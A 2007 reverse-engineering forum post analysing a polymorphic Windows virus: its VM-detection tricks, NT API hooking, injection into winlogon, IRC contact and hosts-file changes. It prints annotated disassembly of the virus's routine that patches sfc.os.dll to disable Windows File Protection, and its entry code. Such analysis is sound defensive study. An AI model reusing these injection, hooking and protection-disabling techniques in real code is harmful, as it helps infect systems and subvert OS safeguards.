Kayaker
December 19th, 2007, 04:10
This post continues Part 1 ("http://www.woodmann.com/forum/showthread.php?t=11076"), which should be read first for reference.
Some points of interest about the viral code itself:
Some points of interest about the viral code itself:
There is a small RDTSC timing check at the start. If the difference between 2 RDTSC calls is greater than 0x100 then it's determined that you're in a VM or single step tracing the code (or have only 4K of memory maybe!). In that case the virus doesn't infect but instead returns to the default address of 0x40101D and only tries to connect to the irc server.
Doing a little test I found that 2 RDTSC calls would return a difference of between 1000-1500 ticks under VMWare, but only 50 ticks under a real system. Not a sophisticated VM test, but it seems to work.
There is also apparently a Redpill type VM check which I found crashes under VMWare.
Code::0040323A RedPill: ; CODE XREF: Main+2
:0040323A push eax
:0040323B sidt qword ptr [esp-2]
:00403240 pop eax
:00403241 mov eax, [eax+6] ; invalid pointer, crashes under VMWare
:00403241 ; buggy code?!
:00403244 shl eax, 10h
:00403247 jns short Force_RDTSC_test_to_fail
The virus is Win9x/Me compatible. If the OS is Win2K or greater it hooks NtCreateFile / NtOpenFile. If Win9x, it hooks VWIN32_Int21Dispatch and monitors for the MS-DOS LFN (long file name) service 0x716C, which is used for open/create. The Win9x related stuff is "old school" and has been documented before. If interested see:
The VxDCall backdoor http://vx.netlux.org/lib/vgy06.html
VIRUS ANALYSIS 2 http://peterszor.com/hps.pdf
The virus copies itself to the last section of a file it infects, but the initial seed value for the Xor decryption routine is different for every infected file (uses an RDTSC randomization), showing its polymorphic nature. After copying itself from running memory into the file, the main Decrypt function is called once again, but this time it's encrypting itself in the file, the XOR routine being reversible.
After determining the system offsets for the Nt calls it hooks, the virus creates a section, maps itself into it, then immediately continues execution from this high memory mapping address. All further execution is run from this memory mapped image. This makes it a little more difficult when live tracing and comparing addresses to the disassembly, but the jump to high memory makes a great breakpoint when you get deeper into the live analysis.
.data:004035FE lea eax, dword_403606
.data:00403604 jmp eax
.data:00403606 ... ; this is now running from high mem
One interesting (though not original) thing the virus does is how it disables Windows File Protection (WFP) so it can infect any file in any directory without being subverted.
Immediately after beginning execution in the high memory mapped section that I just mentioned, it calls NtAdjustPrivilegesToken with SeDebugPrivilege privilege so it is able to call CreateRemoteThread() in the Winlogon process.
How to obtain a handle to any process with SeDebugPrivilege
http://support.microsoft.com/kb/131065
Using a CreateToolhelp32Snapshot/Process32Next loop, it scans for the 4th process returned, or Winlogon. Then it hooks the 4 Nt calls within the winlogon address context by overwriting the Service Id of the relevant Zw ntdll KiFastSystemCall with a detour to its own hook routine (which is mapped into winlogon memory space).
Once this is done it calls CreateRemoteThread followed by a short Sleep routine to let the remote thread execute within winlogon context. After the Sleep nap, the CreateToolhelp32Snapshot loop continues and hooks the 4 Nt calls in every other active process.
The aforementioned CreateRemoteThread winlogon thread does a number of things besides disabling WFP. It sets up the Win9x/Me VxDCall file hook if applicable, writes the irc sites IP address to the Windows hosts file, accesses the registry, creates some Events, creates a couple more threads, one of which maps out ntoskrnl and the KeServiceDescriptorTable, tries to connect to the internet, etc.
WFP is disabled by patching in a call to ExitThread immediately after a NtWaitForMultipleObjects call in an sfc.os.dll function called SfcWatchProtectedDirectoriesWorkerThread. The function name pretty much describes what it does, it's a worker thread which continually monitors for file changes from a protected dll list. After patching SfcWatchProtectedDirectoriesWorkerThread the virus calls SfcTerminateWatcherThread. (IDA + symbols is a wonderful thing)
Here is what the function looks like in code:
Once I figured out what the code was doing I was able to do a search and found that the entire routine for disabling WFP was ripped from here:Code:// The search pattern in sfc.os.dll
:00403CE4 Pattern_SFC_OS_DLL: ; DATA XREF: Disable_WFP+F
:00403CE4 6A 01 push 1
:00403CE6 6A 01 push 1
:00403CE8 FF 33 push dword ptr [ebx]
:00403CEA FF 73 04 push dword ptr [ebx+4]
:00403CEA ; -----------------------------------------------
// part of call ds:NtWaitForMultipleObjects
:00403CED FF 15 dw 15FFh
:00403CEF Disable_WFP proc near
// EAX = base address of sfc.os.dll returned from GetModuleHandleA
:00403CEF test eax, eax
:00403CF1 jz short locret_403CE3
:00403CF3 push 0Bh
:00403CF8 mov edx, eax
:00403CFA pop ebx
:00403CFB add edx, [eax+IMAGE_DOS_HEADER.e_lfanew]
:00403CFE lea esi, Pattern_SFC_OS_DLL
// SectionTable.PointerToRawData .text section
:00403D04 mov edi, [edx+10Ch]
// SectionTable.SizeOfRawData .text section
:00403D0A mov ecx, [edx+108h]
:00403D10 add edi, eax
:00403D12 sub ecx, ebx
:00403D14
:00403D14 Find_Pattern: ; CODE XREF: Disable_WFP+2E
:00403D14 pusha
:00403D15 mov ecx, ebx
:00403D17 repe cmpsb
:00403D19 popa
:00403D1A jz short loc_403D21
:00403D1C inc edi
:00403D1D loop Find_Pattern
:00403D1F jmp short locret_403CE3
:00403D21 ; ----------------------------------------------------
:00403D21
:00403D21 loc_403D21: ; CODE XREF: Disable_WFP+2B
:00403D21 add edi, 0Fh
:00403D24 push edi
:00403D25 mov edx, esp
:00403D27 push ebx
:00403D28 mov ecx, esp
:00403D2A push eax
:00403D2B push esp ; OldProtect
:00403D2C push 40h ; Protect
:00403D2E push ecx ; RegionSize
:00403D2F push edx ; BaseAddress
:00403D30 push 0FFFFFFFFh ; hProcess
:00403D32 call NtProtectVirtualMemory
:00403D38 add esp, 0Ch
:00403D3B mov edx, ExitThread
:00403D41 sub edx, edi
:00403D43 sub edx, 7
// Patch in ExitThread call immediately after
// NtWaitForMultipleObjects in sfc.os function
// SfcWatchProtectedDirectoriesWorkerThread
// patch in push eax opcodes (6A00) + Call near, relative opcode (E8)
:00403D46 mov dword ptr [edi], 0E8006Ah
// patch in ExitThread displacement
:00403D4C mov [edi+3], edx
:00403D4F retn
:00403D4F Disable_WFP endp ;
Win2k.SFPDisable
http://www.hackemate.com.ar/ezines/29a/29a-6/Articles/29A-6.001
And finally, and congratulations if you're still reading this, there is a mysterious Int 0x2C interrupt call at the start of the program. This call is the main reason this virus held my interest for so long and is ultimately the genesis of this article. I was hoping a full analysis of the program would point out its purpose. Alas, I'm still as clueless as when I started.
Therefore I open up to speculation (or reason or knowledge), the true function of this Int2C call, if there is one, to you Gentle Reader (may Asimov forgive me).
Here is the start of the code once again showing the important bits. I've tried to outline the "normal" path of infection by highlighting in Blue. Under any condition that I can see, Int2C will always return STATUS_NO_EVENT_PAIR, so that particular path of execution is fixed.
The question is then. is this just quirky code to confuse us, or can an Int2C call have a real purpose in Ring3 under certain conditions?
So what is interrupt Int 0x2C?Code::00403200 start proc near
:00403200 cld
:00403201 call Main
:00403201 start endp
:00403201
:0040321F popebp_ret:
:0040321F pop ebp
:00403220 retn
.
:00403221 Force_RDTSC_test_to_fail:
:00403221 push ebp
:00403222 mov eax, 8000h
:00403227 xor ecx, ecx
:00403229 jmp short loc_403255
:0040322E Main proc near
:0040322E test eax, eax
:00403230 jnz short RedPill
:00403232 INT 2Ch
// returns STATUS_NO_EVENT_PAIR (0C000014Eh)
:00403234 test eax, eax
:00403236 jns short Force_RDTSC_test_to_fail
:00403238 jmp short RDTSC_Check
:0040323A RedPill:
:0040323A push eax
:0040323B sidt fword ptr [esp-2]
:00403240 pop eax
:00403241 mov eax, [eax+6]
:00403244 shl eax, 10h
:00403247 jns short Force_RDTSC_test_to_fail
:00403249
:00403249 RDTSC_Check:
:00403249 push ebp
:0040324A call _RDTSC
:0040324F xchg eax, ecx
:00403250 call _RDTSC
:00403255
:00403255 loc_403255:
:00403255 sub eax, ecx
:00403257 mov ebp, [esp+4]
:0040325B sub dword ptr [esp+4]
:00403263 sub eax, 100h
:00403268 jnb short popebp_ret
:0040326A sub ebp, 301006h
:00403270 lea eax, startdecrypt
:00403276 mov dx, [eax-65h]
:0040327D call Decrypt
Well, in Vista it's apparently used as part of the WDK NT_ASSERT macro implemented as DbgRaiseAssertionFailure(). This macro embeds an Int2C in driver code and raises an assert exception which is passed to the kernel debugger if present. For reference see the following article (or its google cache), or search for 'NT_ASSERT'.
www.osronline.com/article.cfm?article=474
The only other useful information I found for Int2C, and of a completely different nature, deals with client/server Local Procedure Call (LPC) communication using an EventPair (hence the source of the STATUS_NO_EVENT_PAIR return error). See the following 2 articles:
http://www.windowsitlibrary.com/Content/356/08/6.html
http://www.windowsitlibrary.com/Content/356/08/5.html
It's easy enough to trace into an Int2C from user mode using Softice. You'll find that in XP it calls ntoskrnl!KiSetLowWaitHighThread. With IDA and symbols in hand, plus a prototype header file for the ETHREAD and KTRAP_FRAME structures you can define the entire short function.
I'm not going to speculate on the Int2C any further at this point, but I leave this as an introduction. I'm fairly certain another member here will soon post another interesting twist to this Int2C saga